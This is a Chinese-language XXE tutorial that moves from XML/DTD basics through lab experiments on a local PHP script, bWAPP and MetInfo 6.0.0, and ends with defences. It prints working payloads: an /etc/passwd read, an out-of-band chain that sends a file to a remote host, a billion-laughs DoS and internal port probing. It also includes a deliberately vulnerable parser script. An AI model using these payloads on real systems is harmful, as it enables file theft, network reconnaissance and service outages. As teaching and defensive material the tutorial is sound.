本文系pwn2web原創,轉載請說明出處
XXE 漏洞,全名為XML External Entity Injection,由於程序在解析輸入的XML數據時,解析了攻擊者精心構造的外部實體。
一 預備知識
0x01 XML類型文件結構
XML設計用來傳送及攜帶數據信息,不用來表現或展示數據,HTML則用來表現數據,所以XML用途的焦點是它說明數據是什么,以及攜帶數據信息。
XML定義結構、存儲信息、傳送信息。主要格式如下:
<!--XML申明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
下例為小張發送給大元的便條,存儲為XML。
<?xml version="1.0"?> <小紙條> <收件人>大元</收件人> <發件人>小張</發件人> <主題>問候</主題> <具體內容>早啊,飯吃了沒? </具體內容> </小紙條>
每個XML文檔都由XML序言開始,在前面的代碼中的第一行就是XML序言,<?xml version="1.0"?>。這一行代碼會告訴解析器或瀏覽器這個文件應該按照XML規則進行解析。
但是,根元素到底叫<小紙條>還是<小便條>,則是由文檔類型定義(DTD)或XML綱要(XML Schema)定義的。如果DTD規定根元素必須叫<小便條>,那么若寫作<小紙條>就不符合要求。這種不符合DTD或XML綱要的要求的XML文檔,被稱作不合法的XML,反之則是合法的XML。
XML文件的第二行並不一定要包含文檔元素;如果有注釋或者其他內容,文檔元素可以遲些出現。
DTD文檔關鍵字:
- DOCTYPE(DTD的聲明)
- ENTITY(實體的聲明)
- SYSTEM、PUBLIC(外部資源申請)
0x02 文檔類型定義(DTD)與實體
DTD可以分為內部定義和外部引用。
內部:<!DOCTYPE 根元素 [元素聲明]>
外部:<!DOCTYPE 根元素 SYSTEM "文件名">
實體主要分為以下幾種:
命名實體:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]> <value>&xxe;</value>
外部實體:
<!ENTITY 實體名稱 SYSTEM "URI">
參數實體:
<!ENTITY % 實體名稱 "實體的值">
<!ENTITY % 實體名稱 SYSTEM "URI">
字符實體
示例:
參數實體&外部實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
命名實體&外部實體&參數實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
其中evil.xml文件內容為:
<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
調用過程為:參數實體dtd調用外部實體evil.xml,然后又調用參數實體all,接着調用命名實體send
0x03 外部實體
XXE漏洞主要利用了DTD引用外部實體導致的漏洞,我們總結一下URL中能寫哪些外部實體:
二 XXE漏洞
0x01 漏洞探測
首先檢測xml是否被解析,通過在本地創建xml並輸入以下內容,雙擊點開查看是否能成功顯示出來name 的內容
檢測是否支持外部實體解析,創建xml文件遠程引用index.php文件,雙擊打開可以看到文件回顯顯示在上面
訪問服務器日志發現確實引用了index.php文件
0x02 漏洞應用
xxe利用主要有:
- 任意文件讀取
- 內網信息探測(包括端口和相關web指紋識別)
- DOS攻擊
- 遠程命名執行
0x03 基礎實驗
實驗環境:winxp虛擬機
VMWARE 15.5 PRO
實驗工具:phpstudy2016
實驗測試腳本:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
注意,這里第一行開啟了實體引用的功能,網上很多博客的腳本沒有這一行,導致腳本復現不成功
實驗一 任意文件讀取
我們編寫腳本讀取我們創建1.txt文件,該文件內容為文字“123”。
腳本如下:
實驗二 DOS攻擊
這里只附上示例poc
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]> <lolz>&lol9;</lolz>
這個poc是著名的“billion laugh”攻擊,該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。
實驗三 探測內網信息
這里主要介紹端口掃描,其他的可參考https://www.freebuf.com/articles/web/177979.html
腳本:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>
0x04 XXE漏洞實戰
1、BWAPP測試
這里使用BWAPP虛擬機來進行實戰測試:大家可以從 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download 下載到該虛擬機,虛擬機導入后使用NAT轉換,查看IP地址,本機訪問
點擊Any bugs?進行抓包,發送到Repeater
由Content-type得知,就是將接收到的XML文件post給xxe-2.php
這里直接用payload讀取就好:
或者進行內網探測:
首先探測開放的80端口,返回信息如下
再探測未開放的79端口:
報錯信息不一樣。
2、選取Metinfo6.0.0進行XXE漏洞實戰攻擊測試
米拓企業建站系統主要用於搭建企業網站,采用PHP+Mysql架構,全站內置了SEO搜索引擎優化機制,支持用戶自定義界面語言(全球各種語言),支持可視化傻瓜式操作、擁有企業網站常用的模塊功能(企業簡介模塊、新聞模塊、產品模塊、下載模塊、圖片模塊、招聘模塊、在線留言、反饋系統、在線交流、友情鏈接、網站地圖、會員與權限管理)。
下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
將解壓后的目錄放在phpstudy 的WWW目錄下,訪問安裝即可,安裝好如下圖:
按照漏洞的說明,問題發生在漏洞文件app/system/pay/web/pay.class.php
未禁止外部實體加載,測試是否存在外部實體引用,輸入
<!DOCTYPE note[ <!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt"> ]> <data>&quan;</data>
這里192.168.1.126是另一個虛擬機開啟的web服務,並在根目錄下放置了一個1.txt文件,我們利用burp訪問並設置payload:
我們去打開192.168.1.126網站的服務器訪問日志看看是否訪問到了:
192.168.1.134是攻擊者主機,這就意味着成功的引用了外部實體
三 漏洞防御
使用相應開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC